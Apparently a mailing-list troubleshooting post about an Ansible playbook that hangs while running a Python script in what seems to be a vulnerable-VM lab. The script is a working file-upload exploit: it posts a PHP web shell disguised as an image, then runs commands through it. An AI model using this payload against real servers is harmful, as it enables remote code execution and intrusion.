Unable to run Python script with Script module

15 views
Skip to first unread message

Andrea Magnani

unread,
May 29, 2019, 12:00:33 PM5/29/19
to Ansible Project
Hi, 
I want to run a python script on remote, so I tried to use script, but when I launched playbook, it stucks in that tasks.
I test python script by coping it on remote and it works fine.
(yes, obviously I waited more than 5 seconds)
Am I missing something?


HERE THE PLAYBOOK
---
  - name: Esecuzione di "FileUpload-example1
    hosts: vm_client
    vars:
        #--- Cloudify
        an_user: ansible
        an_prj_folder: ~/DebianVulnerable
        an_target_ip: 192.168.50.153
        #--- Ansible
        init_file: "{{ an_prj_folder }}/init.pwd"
        command: echo YOU_HAVE_BEEN_PWNED >> /tmp/H4CK3R.PWN

    tasks:
      - name: Controllo dei requisiti...
        stat:
            path: "{{ init_file }}"
        register: init_done

      - name: Chiusura se non sono soddisfatti...
        meta: end_play
        when: init_done.stat.exists == False

      - name: Lancio script Python..
        script: "Resource/fileUpload1.py {{ an_target_ip }} '{{ command }}'"


HERE THE SCRIPT
it just send a HTTP request to another remote pc
#!/bin/python2

from pwn import *
import time

def main():
remote_ip = sys.argv[1]
c=remote(remote_ip, 80)
iniziezione(c, remote_ip)
c.close()

time.sleep(5)

c=remote(remote_ip, 80)
esecuzione(c, remote_ip)
c.close()

def iniziezione(c, remote_ip):
req= ('POST /upload/example1.php HTTP/1.1\r\n'
'Host'+ remote_ip +'\r\n'
'User-Agent: curl/7.64.1\r\n'
'Accept: */*\r\n'
'Content-Length: 231\r\n'
'Content-Type: multipart/form-data; boundary=------------------------cd3d38395f9f1df4\r\n'
'\r\n'
'--------------------------cd3d38395f9f1df4\r\n'
'Content-Disposition: form-data; name="image"; filename="image.php"\r\n'
'Content-Type: application/octet-stream\r\n'
'\r\n'
'<?php system($_GET["c"]); ?>.\r\n'
'--------------------------cd3d38395f9f1df4--\r\n')

#print(req)
c.send(req)

def esecuzione(c, remote_ip):
#crezione del comando
comando=sys.argv[2]
comando=comando.replace(' ', '%20')
comando=comando.replace('/', '%2F')
print(comando)
#creazione della richiesta HTTP
req=('GET /upload/images/image.php?c='+comando+' HTTP/1.1\r\n'
'Host:'+ remote_ip +'\r\n'
'User-Agent: curl/7.64.1\r\n''+ remote_ip '+
'Accept: */*\r\n\r\n')

#print(req)
c.send(req)


if __name__ == '__main__':
main()



HERE the -vvvv log when executing the task:
<192.168.50.103> ESTABLISH SSH CONNECTION FOR USER: ansible
<192.168.50.103> SSH: EXEC sshpass -d9 ssh -vvv -C -o ControlMaster=auto -o ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o ControlPath=/home/andrea/.ansible/cp/b24e0c6aca 192.168.50.103 '/bin/sh -c '"'"'echo ~ansible && sleep 0'"'"''
<192.168.50.103> (0, b'/home/ansible\n', b'OpenSSH_8.0p1, OpenSSL 1.1.1b  26 Feb 2019\r\ndebug1: Reading configuration data /etc/ssh/ssh_config\r\ndebug2: resolve_canonicalize: hostname 192.168.50.103 is address\r\ndebug1: auto-mux: Trying existing master\r\ndebug2: fd 3 setting O_NONBLOCK\r\ndebug2: mux_client_hello_exchange: master version 4\r\ndebug3: mux_client_forwards: request forwardings: 0 local, 0 remote\r\ndebug3: mux_client_request_session: entering\r\ndebug3: mux_client_request_alive: entering\r\ndebug3: mux_client_request_alive: done pid = 18448\r\ndebug3: mux_client_request_session: session request sent\r\ndebug3: mux_client_read_packet: read header failed: Broken pipe\r\ndebug2: Received exit status from master 0\r\n')
<192.168.50.103> ESTABLISH SSH CONNECTION FOR USER: ansible
<192.168.50.103> SSH: EXEC sshpass -d9 ssh -vvv -C -o ControlMaster=auto -o ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o ControlPath=/home/andrea/.ansible/cp/b24e0c6aca 192.168.50.103 '/bin/sh -c '"'"'( umask 77 && mkdir -p "` echo /home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984 `" && echo ansible-tmp-1559145348.5083632-266839971706984="` echo /home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984 `" ) && sleep 0'"'"''
<192.168.50.103> (0, b'ansible-tmp-1559145348.5083632-266839971706984=/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984\n', b'OpenSSH_8.0p1, OpenSSL 1.1.1b  26 Feb 2019\r\ndebug1: Reading configuration data /etc/ssh/ssh_config\r\ndebug2: resolve_canonicalize: hostname 192.168.50.103 is address\r\ndebug1: auto-mux: Trying existing master\r\ndebug2: fd 3 setting O_NONBLOCK\r\ndebug2: mux_client_hello_exchange: master version 4\r\ndebug3: mux_client_forwards: request forwardings: 0 local, 0 remote\r\ndebug3: mux_client_request_session: entering\r\ndebug3: mux_client_request_alive: entering\r\ndebug3: mux_client_request_alive: done pid = 18448\r\ndebug3: mux_client_request_session: session request sent\r\ndebug3: mux_client_read_packet: read header failed: Broken pipe\r\ndebug2: Received exit status from master 0\r\n')
<192.168.50.103> PUT /home/andrea/Documenti/Tirocinio/Cloudify/BluePrint/DebianVulnerableV7/Resource/fileUpload1.py TO /home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py
<192.168.50.103> SSH: EXEC sshpass -d9 sftp -o BatchMode=no -b - -vvv -C -o ControlMaster=auto -o ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o ControlPath=/home/andrea/.ansible/cp/b24e0c6aca '[192.168.50.103]'
<192.168.50.103> (0, b'sftp> put /home/andrea/Documenti/Tirocinio/Cloudify/BluePrint/DebianVulnerableV7/Resource/fileUpload1.py /home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py\n', b'OpenSSH_8.0p1, OpenSSL 1.1.1b  26 Feb 2019\r\ndebug1: Reading configuration data /etc/ssh/ssh_config\r\ndebug2: resolve_canonicalize: hostname 192.168.50.103 is address\r\ndebug1: auto-mux: Trying existing master\r\ndebug2: fd 3 setting O_NONBLOCK\r\ndebug2: mux_client_hello_exchange: master version 4\r\ndebug3: mux_client_forwards: request forwardings: 0 local, 0 remote\r\ndebug3: mux_client_request_session: entering\r\ndebug3: mux_client_request_alive: entering\r\ndebug3: mux_client_request_alive: done pid = 18448\r\ndebug3: mux_client_request_session: session request sent\r\ndebug2: Remote version: 3\r\ndebug2: Server supports extension "posix-...@openssh.com" revision 1\r\ndebug2: Server supports extension "sta...@openssh.com" revision 2\r\ndebug2: Server supports extension "fsta...@openssh.com" revision 2\r\ndebug2: Server supports extension "hard...@openssh.com" revision 1\r\ndebug2: Server supports extension "fs...@openssh.com" revision 1\r\ndebug3: Sent message fd 3 T:16 I:1\r\ndebug3: SSH_FXP_REALPATH . -> /home/ansible size 0\r\ndebug3: Looking up /home/andrea/Documenti/Tirocinio/Cloudify/BluePrint/DebianVulnerableV7/Resource/fileUpload1.py\r\ndebug3: Sent message fd 3 T:17 I:2\r\ndebug3: Received stat reply T:101 I:2\r\ndebug1: Couldn\'t stat remote file: No such file or directory\r\ndebug3: Sent message SSH2_FXP_OPEN I:3 P:/home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py\r\ndebug3: Sent message SSH2_FXP_WRITE I:4 O:0 S:1229\r\ndebug3: SSH2_FXP_STATUS 0\r\ndebug3: In write loop, ack for 4 1229 bytes at 0\r\ndebug3: Sent message SSH2_FXP_CLOSE I:4\r\ndebug3: SSH2_FXP_STATUS 0\r\ndebug3: mux_client_read_packet: read header failed: Broken pipe\r\ndebug2: Received exit status from master 0\r\n')
<192.168.50.103> ESTABLISH SSH CONNECTION FOR USER: ansible
<192.168.50.103> SSH: EXEC sshpass -d9 ssh -vvv -C -o ControlMaster=auto -o ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o ControlPath=/home/andrea/.ansible/cp/b24e0c6aca 192.168.50.103 '/bin/sh -c '"'"'chmod u+x /home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/ /home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py && sleep 0'"'"''
<192.168.50.103> (0, b'', b'OpenSSH_8.0p1, OpenSSL 1.1.1b  26 Feb 2019\r\ndebug1: Reading configuration data /etc/ssh/ssh_config\r\ndebug2: resolve_canonicalize: hostname 192.168.50.103 is address\r\ndebug1: auto-mux: Trying existing master\r\ndebug2: fd 3 setting O_NONBLOCK\r\ndebug2: mux_client_hello_exchange: master version 4\r\ndebug3: mux_client_forwards: request forwardings: 0 local, 0 remote\r\ndebug3: mux_client_request_session: entering\r\ndebug3: mux_client_request_alive: entering\r\ndebug3: mux_client_request_alive: done pid = 18448\r\ndebug3: mux_client_request_session: session request sent\r\ndebug3: mux_client_read_packet: read header failed: Broken pipe\r\ndebug2: Received exit status from master 0\r\n')
<192.168.50.103> ESTABLISH SSH CONNECTION FOR USER: ansible
<192.168.50.103> SSH: EXEC sshpass -d9 ssh -vvv -C -o ControlMaster=auto -o ControlPersist=60s -o 'User="ansible"' -o ConnectTimeout=10 -o ControlPath=/home/andrea/.ansible/cp/b24e0c6aca -tt 192.168.50.103 '/bin/sh -c '"'"' /home/ansible/.ansible/tmp/ansible-tmp-1559145348.5083632-266839971706984/fileUpload1.py 192.168.50.153 '"'"'"'"'"'"'"'"'echo YOU_HAVE_BEEN_PWNED >> /tmp/H4CK3R.PWN'"'"'"'"'"'"'"'"' && sleep 0'"'"''


Reply all
Reply to author
Forward
0 new messages